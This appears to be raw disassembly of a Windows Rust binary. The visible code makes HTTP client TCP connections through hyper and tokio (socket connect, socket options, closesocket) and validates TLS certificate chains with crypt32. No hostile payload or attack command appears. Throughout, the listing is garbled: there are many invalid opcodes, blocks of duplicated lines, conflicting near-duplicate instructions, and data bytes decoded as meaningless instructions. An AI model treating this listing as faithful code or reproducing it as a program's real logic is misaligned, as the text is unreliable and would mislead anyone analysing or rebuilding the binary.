movups xmmword [rdi + 0xe18], xmm0
movups xmm0, xmmword [rdi + 0xd80]
xchg dword [rax + 0xf00000d], eax
adc dword [rdi + 0xe08], eax
xchg dword [rax + 0xf00000d], eax
adc dword [rdi + 0xe08], eax
movups xmm0, xmmword [rdi + 0xd70]
xchg dword [rax + 0xd], esi
add byte [rax], al
movups xmmword [rdi + 0xdf8], xmm0
movdqu xmm0, xmmword [rdi + 0xd30]
movups xmm1, xmmword [rdi + 0xd40]
pop qword [rax + 0xd]
add byte [rax], al
pop qword [rax + 0xd]
add byte [rax], al
or eax, 0x100f0000
xchg edi, eax
push rax
or eax, 0x100f0000
lahf
invalid
movups xmm2, xmmword [rdi + 0xd50]
movups xmm3, xmmword [rdi + 0xd60]
movups xmmword [rdi + 0xde8], xmm3
call 0x14f0abd3b
adc dword [rdi + 0xdd8], edx
xchg edi, eax
invalid
invalid
add byte [rax], al
call 0x14f0abd3b
adc dword [rdi + 0xdd8], edx
xchg edi, eax
invalid
invalid
add byte [rax], al
xchg edi, eax
fmul dword [0x15119bd36]
invalid
movups xmmword [rdi + 0xdc8], xmm1
movdqu xmmword [rdi + 0xdb8], xmm0
movzx eax, byte [rdi + 0xe30]
test eax, eax
je 0x1400abe2c
xchg dword [rax], esi
invalid
cmp eax, 3
jne case.0x1400aa05b.14
add byte [rax], al
add byte [rax], al
lea rbx, [rdi + 0xe28]
movzx eax, byte [rdi + 0xe28]
lea r14, [rdi + 0xde8]
test eax, eax
je 0x1400ac1a3
cmp eax, 3
jne 0x1400ac745
mov rax, qword [rdi + 0xe20]
jmp 0x1400ac234
mov rbx, qword [rdi + 0xd20]
movups xmm0, xmmword [rdi + 0xda0]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rdi + 0xd90]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rdi + 0xd80]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rdi + 0xd70]
or eax, 0x290f0000
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0xd30], al
or eax, 0x290f0000
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0xd30], al
movups xmm1, xmmword [rdi + 0xd40]
movups xmm2, xmmword [rdi + 0xd50]
add byte [rdi], cl
adc byte [rdi + 0xd50], dl
movups xmm3, xmmword [rdi + 0xd60]
movaps xmmword [rsp + 0xc0], xmm3
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
call fcn.1400f8930
invalid
retf
add al, 0
add rax, rbx
jae 0x1400abefb
invalid
lea rcx, [rsp + 0x2d0]
call fcn.140100110
jmp 0x1400abf35
add al, ch
jmp 0x1290ac36a
mov rcx, qword [rdi + 0xdd8]
mov qword [rdi + 0xde0], rcx
mov eax, dword [rdi + 0xdba]
movzx edx, word [rdi + 0xdbe]
shl rdx, 0x20
or rdx, rax
test byte [rdi + 0xdb8], 1
je 0x1400ac0b8
mov r10d, dword [rdi + 0xdcc]
mov r8d, dword [rdi + 0xdd0]
movzx eax, word [rdi + 0xdd4]
shr rdx, 0x10
mov dword [rsp + 0x148], edx
mov rdx, qword [rdi + 0xdc0]
mov qword [rsp + 0x14c], rdx
mov edx, dword [rdi + 0xdc8]
mov dword [rsp + 0x154], edx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x15c], xmm0
movdqu xmmword [rsp + 0x16c], xmm0
movdqu xmmword [rsp + 0x17c], xmm0
movdqu xmmword [rsp + 0x18c], xmm0
movdqu xmmword [rsp + 0x19c], xmm0
movdqu xmmword [rsp + 0x1ac], xmm0
mov dword [rsp + 0x1bc], 0
rol ax, 8
mov dword [rsp + 0x158], r8d
mov r8d, 0x1c
mov r9w, 0x17
mov edx, r10d
jmp 0x1400ac11d
mov r8d, edx
add r8d, esi
cmp r8d, 0x3b9aca00
jb 0x1400abf1e
cmp rax, 0xffffffffffffffff
je 0x1400abe1a
add r8d, 0xc4653600
inc rax
lea r9, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1400ffec0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0xf0]
lock add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x210], eax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmm0, xmmword [rsp + 0x90]
lock add dword [rax], eax
add byte [rdi], cl
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
rol byte [rax], 0
invalid
movabs al, byte [0xb02494280f000000]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xc0], bl
rol byte [rax], 0
invalid
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0x2d0]
rol byte [rdx], 1
add byte [rax], al
movups xmm1, xmmword [rsp + 0x2e0]
movups xmm2, xmmword [rsp + 0x2f0]
lock add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2f0], dl
lock add al, byte [rax]
invalid
lock add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x300], bl
movups xmm3, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x160], xmm2
push rax
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x160], edx
movaps xmmword [rsp + 0x170], xmm3
movups xmm0, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x320]
and byte [rbx], al
add byte [rax], al
movaps xmmword [rsp + 0x190], xmm0
nop
add dword [rax], eax
add bl, dh
movq mm0, qword [rsp + 0x330]
nop
add dword [rax], eax
add bl, dh
movq mm0, qword [rsp + 0x330]
movdqa xmmword [rsp + 0x1a0], xmm0
add byte [rax], al
lea rcx, [rdi + 0xdb8]
lea rdx, [rsp + 0x140]
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
invalid
push rsi
invalid
invalid
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x40
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
invalid
add byte [rbp + rcx*4 - 0x49], cl
mov eax, 0x4800000d
lea r14, [rdi + 0xdb8]
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
mov rdx, r14
mov r8, r15
call fcn.1400a90c0
mov rbp, qword [rsp + 0x90]
add byte [rax], al
add byte [rax], al
cmp rbp, 4
je 0x1400ac483
mov r12, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
movdqu xmm6, xmmword [rsp + 0xa8]
mov rcx, r14
call 0x1400ac8a0
adc cl, byte [rax]
add byte [rax], al
adc cl, byte [rax]
add byte [rax], al
cmp ebp, 2
je 0x1400ac0ae
cmp ebp, 3
jne 0x1400ac348
mov ebp, 2
call fcn.140070390
dec dword [rcx - 0x77]
invalid
jmp 0x1400ac348
dec dword [rcx - 0x77]
invalid
mov ebp, 2
jmp 0x1400ac348
mov rax, rdx
shr rax, 0x20
rol ax, 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1a8], xmm0
movdqu xmmword [rsp + 0x198], xmm0
movdqu xmmword [rsp + 0x188], xmm0
movdqu xmmword [rsp + 0x178], xmm0
test byte [rax + rdi*2], ah
add dword [rax], eax
add bl, dh
movq qword [rsp + 0x168], mm0
test byte [rax + rdi*2], ah
add dword [rax], eax
add bl, dh
movq qword [rsp + 0x168], mm0
movdqu xmmword [rsp + 0x158], xmm0
movdqu xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x1b8], 0
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov r9w, 2
mov word [rsp + 0x140], r9w
mov word [rsp + 0x142], ax
mov dword [rsp + 0x144], edx
mov dword [rsp + 0x1c0], r8d
lea rdx, [rsp + 0x140]
call qword [sym.imp.ws2_32.dll_connect]
or byte [rax], al
test eax, eax
je 0x1400ac170
call qword [sym.imp.kernel32.dll_GetLastError]
mov r12d, eax
shl r12, 0x20
shl esp, 0x20
or r12, 2
mov rcx, r12
mov ecx, esp
call fcn.140040bb0
cmp al, 0xd
jne 0x1400ac2f9
mov rdx, qword [rdi + 0xde0]
mov edx, dword [rdi + 0xde0]
lea r14, [rdi + 0xde8]
mov qword [rdi + 0xde8], rdx
mov qword [rdi + 0xdf0], 0
lea rbx, [rdi + 0xe28]
lea ebx, [rdi + 0xe28]
mov byte [rdi + 0xe28], 0
xor r8d, r8d
jmp 0x1400ac1b1
mov rdx, qword [rdi + 0xde8]
mov r8, qword [rdi + 0xdf0]
invalid
invalid
add byte [rax], al
invalid
lea rcx, [rsp + 0x140]
call fcn.14010c010
mov rcx, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
cmp rcx, 2
je 0x1400ac331
add dword [rax], eax
add al, ch
push rdx
inc byte [0xcc9609c1]
and al, 0x40
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x48
add dword [rax], eax
add byte [rax - 0x7d], cl
stc
add cl, byte [rdi]
test byte [rcx + 1], bl
add byte [rax], al
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x90], xmm0
lea rax, [rdi + 0xdf8]
mov qword [rdi + 0xdf8], rcx
mov qword [rdi + 0xe00], r12
movdqa xmm0, xmmword [rsp + 0x90]
movdqu xmmword [rdi + 0xe08], xmm0
mov rcx, qword [rsp + 0xa0]
mov qword [rdi + 0xe18], rcx
mov qword [rdi + 0xe20], rax
mov rdx, qword [rax + 0x10]
lea rbp, [rsp + 0x140]
lea ebp, [rsp + 0x140]
lea ebp, [rsp + 0x140]
mov rcx, rbp
mov r8, r15
mov r9b, 1
call fcn.1400ff6a0
movzx eax, byte [rsp + 0x149]
cmp al, 3
je case.0x14009d1d6.45
mov r12, qword [rsp + 0x140]
cmp al, 2
je 0x1400ac325
scasb al, byte [rdi]
add al, 0
add bh, al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
mov qword [rsp + 0x20], rbp
lea r9, [rsp + 0x90]
mov edx, 0xffff
mov r8d, 0x1007
call qword [sym.imp.ws2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x1400ac314
movsxd r12, dword [rsp + 0x90]
test r12, r12
jne 0x1400ac31d
invalid
mov rcx, qword [rdi + 0xde0]
call qword [sym.imp.ws2_32.dll_closesocket]
mov ebp, 2
mov byte [rdi + 0xe30], 1
xchg dword [rax], esi
invalid
add byte [rax], al
add ebx, ebp
invalid
xchg dword [rax], esi
invalid
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r12d, eax
shl r12, 0x20
or r12, 2
lea rcx, [rdi + 0xdf8]
call fcn.1400978b0
mov byte [rbx], 1
mov ebp, 2
mov rcx, r14
call fcn.1400ac810
mov byte [rdi + 0xe30], 1
xor byte [rsi], cl
add byte [rax], al
invalid
xor byte [rsi], cl
add byte [rax], al
add dword [rax - 0x7d], ecx
std
add cl, byte [rdi]
jne 0x1400ac46a
invalid
mov dh, 5
scasd eax, dword [rdi]
invalid
cmp rbp, 2
jne 0x1400ac46a
add byte [rcx], dh
leave
call fcn.1400f8ae0
test rax, rax
mov r15, qword [rsp + 0x58]
je 0x1400ac712
mov rbp, rax
mov qword [rax], r12
mov byte [rdi + 0xdb0], 1
mov rcx, r13
jmp 0x140102d9e
add byte [rbx + rcx*4 - 0x79], cl
xchg dword [rax + 0xb], edx
add byte [rax], al
test r8, r8
mov r13, qword [rsp + 0x38]
je 0x1400ac426
jmp 0x140102d9e
cmp qword [rdi + 0xb58], 0
cmp dword [rdi + 0xb58], 0
je 0x1400ac3e1
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rdi + 0xb60]
test r12, r12
je 0x1400ac426
mov rsi, qword [rdi + 0xb68]
mov rax, qword [rsi]
test rax, rax
je 0x1400ac401
mov rcx, r12
call rax
cmp qword [rsi + 8], 0
je 0x1400ac426
cmp qword [rsi + 0x10], 0x11
jb 0x1400ac414
invalid
mov r12, qword [r12 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
mov eax, esp
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi + 0xb50], r14
mov qword [rdi + 0xb58], 0x11
or eax, dword [rax]
add byte [rcx], dl
add byte [rax], al
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
or eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xad3ba
mov qword [rdi + 0xb68], rax
mov rbx, qword [rdi + 0xb70]
mov rax, qword [rbx + 8]
mov r12, r14
cmp rax, qword [rbx + 0x18]
jne 0x1400abbcc
or eax, dword [rax]
add byte [rcx], dl
add byte [rax], al
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
invalid
jmp 0x1400ab3e0
mov cl, 3
mov rax, qword [rsp + 0x50]
jmp 0x1400ac6b6
add al, byte [rax]
invalid
mov r12, qword [rdi + 0xb50]
test r12, r12
jne 0x1400ab3e9
out dx, eax
invalid
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, 0x13
mov cl, 7
call fcn.140070150
mov r14, rax
movzx eax, byte [0x14019f308]
mov edx, 0x11
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400ac703
mov r12, rax
movdqu xmm0, xmmword [0x14015ebfb]
movdqu xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x14019f308]
mov edx, 8
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400ac712
mov qword [rax], r14
lea rcx, [0x140159800]
movq xmm0, rcx
movq xmm6, rax
punpcklqdq xmm6, xmm0
mov ebp, 2
mov r15d, 0x11
jmp 0x1400ac5d7
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movups xmmword [rdi + 0xbb8], xmm1
movdqu xmmword [rdi + 0xba8], xmm0
add byte [rax], al
mov dword [rdi + 0xba0], 0x3b9aca01
mov r12, qword [rdi + 0xba8]
mov r15, qword [rdi + 0xbb0]
movdqu xmm6, xmmword [rdi + 0xbb8]
mov ebp, 2
mov r8, qword [rdi + 0xb50]
test r8, r8
je 0x1400ac5d7
cmp qword [rdi + 0xb58], 0
je 0x1400ac593
or eax, 0xf2c8c
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x48]
mov byte [rax], 1
cmp qword [rdi + 0x2c0], 0
je 0x1400ac5ff
mov r8, qword [rdi + 0x2b0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x30]
mov byte [rax], 1
mov rcx, r13
call fcn.1400ac990
movq r13, xmm6
cmp rbp, 2
jne 0x1400ac63b
pshufd xmm0, xmm6, 0xee
movq rsi, xmm0
mov ebp, 2
cmp byte [rdi + 0xd0], 2
jae 0x1400aa134
jmp 0x1400aa15f
cmp r13, 0xffffffffffffffff
je case.0x1400a3e60.11
mov rax, qword [rdi + 0x128]
mov rax, qword [rax]
movzx eax, byte [rax + 0x77]
mov dword [rsp + 0x3f8], eax
and al, 0xf8
add eax, dword [rax]
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
and al, 0xf8
add eax, dword [rax]
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
lea r9, [rsp + 0x3f8]
mov rcx, r13
add byte [rcx + rcx*4 - 0x17], cl
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
adc eax, 0x82f3a
adc eax, 0x82f3a
cmp eax, 0xffffffff
jne 0x1400ac689
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
pshufd xmm0, xmm6, 0xee
movq rsi, xmm0
jle 0x1400ac659
jle 0x1400ac659
cmp byte [rdi + 0xd0], 2
jae 0x1400aa134
invalid
invalid
invalid
rol byte [rax], 1
add byte [rax], al
add cl, byte [rdi]
adc dword [rdx + rbx*8 - 0x45160001], 0xffffffda
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jmp 0x1400aa15f
mov byte [rbx], 3
mov rax, qword [rsp + 0x50]
mov byte [rdi + 0xe30], 3
add byte [rax], al
add esi, dword [rcx - 0x4f7077fc]
or eax, 0x87c60000
test al, 0xe
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add esi, dword [rcx - 0x4f7077fc]
or eax, 0x87c60000
test al, 0xe
add byte [rax], al
add byte [rbx], al
mov cl, 3
mov rdx, qword [rsp + 0x30]
add byte [rbx], al
mov cl, 3
mov rdx, qword [rsp + 0x30]
mov byte [rdx], cl
mov cl, 4
mov rdx, qword [rsp + 0x118]
add byte [rax + 0xc7480a], cl
add eax, dword [rax]
mov byte [rdx], cl
mov qword [rax], 3
add byte [rax], al
or cl, byte [rax - 0x39]
add byte [rbx], al
add byte [rax], al
add byte [rax], al
mov cl, 3
invalid
invalid
mov al, 0xe
add byte [rax], al
mov cl, 3
mov byte [rdi + 0xeb0], cl
add byte [rax], al
movaps xmm6, xmmword [rsp + 0xd10]
add byte [rax], al
add rsp, 0xd28
pop rbx
pop rbp
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rdi
ret
mov ecx, 1
mov edx, 0x11
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
call fcn.140122170
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 8
call fcn.140122190
outsd dx, dword [rsi]
pop rdx
invalid
invalid
outsd dx, dword [rsi]
pop rdx
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_socket.rs
call fcn.140122c50
and eax, 0x23e8000b
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140122a00
invalid
invalid
invalid
invalid
fmul qword [rbx]
add al, ch
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140122c50
or esp, dword [rbp + 7]
invalid
and al, 0xb
add al, ch
or esp, dword [rbp + 7]
add byte [rax - 0x73], cl
or eax, 0xb2574
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_net_tcp_stream.rs
call fcn.140122c50
ud2
push rsi
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0xe8]
cmp eax, 3
je 0x1400ac8c7
test eax, eax
jne 0x1400ac8d3
mov rcx, qword [rsi + 0x90]
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400ac8d3
lea rcx, [rsi + 0xa0]
call fcn.1400ac810
mov rcx, rsi
call fcn.140106ed0
add eax, 0x4e8d4800
or dh, dh
invalid
invalid
je 0x1400ac8f4
add eax, 0x4e8d4800
or dh, dh
invalid
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400ac902
call fcn.1400caa30
jmp 0x1400ac902
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ac902
call fcn.14002ded0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400ac918
mov rcx, qword [rsi + 0x50]
add rsp, 0x20
pop rsi
jmp qword [rax + 0x18]
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
ret
je 0x1400ac953
cmp eax, 4
jne 0x1400ac97a
movzx eax, byte [rcx + 0x110]
cmp eax, 3
je 0x1400ac984
add esi, dword [rbx + rax*2 - 0x7b]
sal byte [rbp + 0x35], 0x48
mov rcx, qword [rcx + 0xb8]
test eax, eax
jne 0x1400ac97a
mov rcx, qword [rcx + 0xb8]
jmp qword [sym.imp.ws2_32.dll_closesocket]
add rcx, 0x98
jmp 0x1400ac8a0
rcr dword [rax - 0x17000000], 0x41
invalid
add bl, al
ret
add rcx, 0x40
jmp fcn.1400ac810
add rcx, 0xc8
jmp fcn.1400ac810
sub byte [rdi], cl
mov dh, 0x81
lock or dword [rax], eax
add byte [rax - 0x7d], cl
clc
invalid
add byte [rax - 0x77], cl
invalid
loopne 0x1400aca06
cmp dword [rsi + 0xb0], 0
loop fcn.1400ac990
add eax, 0x4e8d4800
or dh, dh
invalid
add byte [rax], al
add cl, byte [rdi]
test dword [rbx], eax
add dword [rax], eax
add byte [rax - 0x7d], cl
mov esi, 0xa08
add byte [rsi + rdx + 0x4c], dh
invalid
mov r8, qword [rsi + 0xa00]
invalid
or byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
sahf
sbb byte [rdx], cl
add byte [rax], al
fsub dword [rdi]
invalid
add byte [rax - 0x7d], cl
mov esi, 0xa20
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x14019f258]
invalid
invalid
invalid
add byte [rax - 0x73], cl
invalid
mov eax, dword [rbx]
cmp dword [rbx + 0x10], 0x11
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
cmp dword [rsi + 0x230], 0
invalid
invalid
movzx eax, byte [rdi + 0x1d0]
test eax, eax
jne 0x1400af9b2
movzx ebp, byte [rdi + 0x1d1]
movzx eax, byte [rdi + 0x1d2]
mov byte [rsp + 0x6e], al
movzx r14d, byte [rdi + 0x1d3]
movzx esi, byte [rdi + 0x1d4]
mov rdx, qword [rdi + 0x190]
mov r15, qword [rdi + 0x198]
cmp r15, rdx
jne 0x1400aea10
test bpl, bpl
mov r15, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jne 0x1400aea90
jmp 0x1400aeaaa
mov r12d, r14d
xor r14d, r14d
nop word cs:[rax + rax]
mov r8, rdx
sub r8, r15
jb 0x1400afa99
mov rdx, qword [rdi + 0x188]
add rdx, r15
mov rcx, rbx
call fcn.140099260
test rax, rax
jne 0x1400af986
add r14, rdx
add r15, rdx
mov qword [rdi + 0x198], r15
mov rdx, qword [rdi + 0x190]
cmp r15, rdx
jne 0x1400aea20
test r14, r14
mov r14d, r12d
je 0x1400ae9f1
cmp byte [rdi + 0x1d0], 0
mov r15, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jne 0x1400aea90
mov byte [rdi + 0x1d1], 1
nop word cs:[rax + rax]
mov rcx, rbx
call fcn.140099170
test rax, rax
jne 0x1400afa00
cmp byte [rdi + 0x1d0], 0
je 0x1400aeafb
or sil, r14b
jne 0x1400aefe0
cmp byte [rdi + 0x222], 0
jne 0x1400aefe0
mov qword [rsp + 0x80], 0
mov rcx, qword [rsp + 0x108]
mov edx, 0x53
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400aeb0c
cmp byte [rsp + 0x6e], 0
jne 0x1400aefeb
jmp 0x1400afa43
mov byte [rdi + 0x1d1], 0
or sil, r14b
je 0x1400aeab3
jmp 0x1400aefe0
mov rbp, qword [rsp + 0x80]
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x1400aebd5
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r13, rax
test byte [rdi], 1
je 0x1400aebe0
mov qword [rsp + 0x78], rbp
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400aebb5
nop dword [rax]
mov r12, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rbp, rax
mov qword [rsp + 0x80], 0
mov rcx, r13
mov rdx, r12
mov r8d, 3
lea r9, [rsp + 0x80]
call qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x1400afa0a
mov rcx, qword [rsp + 0x80]
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r12
call rsi
mov rcx, qword [rdi + 8]
mov rdx, rbp
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400aeb50
mov rcx, r13
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r15, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rbp, qword [rsp + 0x78]
jmp 0x1400aebf0
cmp byte [rdi], 0
je 0x1400aebed
mov r13, qword [rdi + 8]
jmp 0x1400aebf0
mov rcx, r13
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400aebf0
xor r13d, r13d
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x80], 0x20
mov dword [rsp + 0x88], 1
lea rax, str.1.3.6.1.5.5.7.3.1
mov qword [rsp + 0xb0], rax
lea rax, str.1.3.6.1.4.1.311.10.3.3
mov qword [rsp + 0xb8], rax
lea rax, str.2.16.840.1.113730.4.1
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x90], 3
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xd8], 0
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc0000001
xor ecx, ecx
mov rdx, rbp
xor r8d, r8d
mov r9, r13
call qword [sym.imp.crypt32.dll_CertGetCertificateChain]
test eax, eax
je 0x1400afa52
mov byte [rsp + 0x6f], r14b
mov rsi, qword [rsp + 0xd8]
mov r14d, 0xf00
cmp dword [rdi], 1
mov qword [rsp + 0x118], rsi
jne 0x1400aee94
mov eax, dword [rsi + 0xc]
test eax, eax
je 0x1400aee94
mov dword [rsp + 0x110], eax
mov qword [rsp + 0x78], rbp
mov rax, qword [rsi + 0x10]
mov r13, qword [rax]
mov rcx, rsi
call r15
mov r12, rax
cmp dword [rsi + 0xc], 2
jb 0x1400aed4a
mov ebp, 1
mov rsi, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r14, qword [rsp + 0x118]
nop word [rax + rax]
mov rax, qword [r14 + 0x10]
mov r13, qword [rax + rbp*8]
mov rcx, r14
call rsi
mov r15, rax
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r14 + 0xc]
inc rbp
mov r12, r15
cmp rbp, rax
jb 0x1400aed20
jmp 0x1400aed5c
mov r15, r12
mov rsi, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r14, qword [rsp + 0x118]
mov qword [rsp + 0x158], r13
mov rcx, r14
call rsi
mov rsi, rax
mov rcx, r15
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
call r12
cmp dword [rsp + 0x110], 0
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rbp, qword [rsp + 0x78]
mov r14d, 0xf00
je 0x1400aee94
mov qword [rsp + 0x150], rsi
xor esi, esi
mov r14, qword [rsp + 0x158]
jmp 0x1400aedcd
mov rsi, qword [rsp + 0x110]
inc rsi
mov rcx, r12
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rbp, qword [rsp + 0x78]
mov eax, dword [r14 + 0xc]
cmp rsi, rax
jae 0x1400af97b
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rsi
mov rax, qword [rax + rsi*8]
mov rcx, qword [rax + 8]
call r13
mov r12, rax
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400aedad
nop word cs:[rax + rax]
mov r15, rax
mov rcx, rax
call r13
mov rbp, rax
mov r8d, dword [r12 + 0x10]
cmp dword [r15 + 0x10], r8d
jne 0x1400aee5b
mov rdx, qword [r12 + 8]
mov rcx, qword [r15 + 8]
call fcn.1401220a0
mov esi, eax
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test esi, esi
je 0x1400aee66
mov rcx, qword [rdi + 8]
mov rdx, rbp
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400aee10
jmp 0x1400aedad
mov rcx, r15
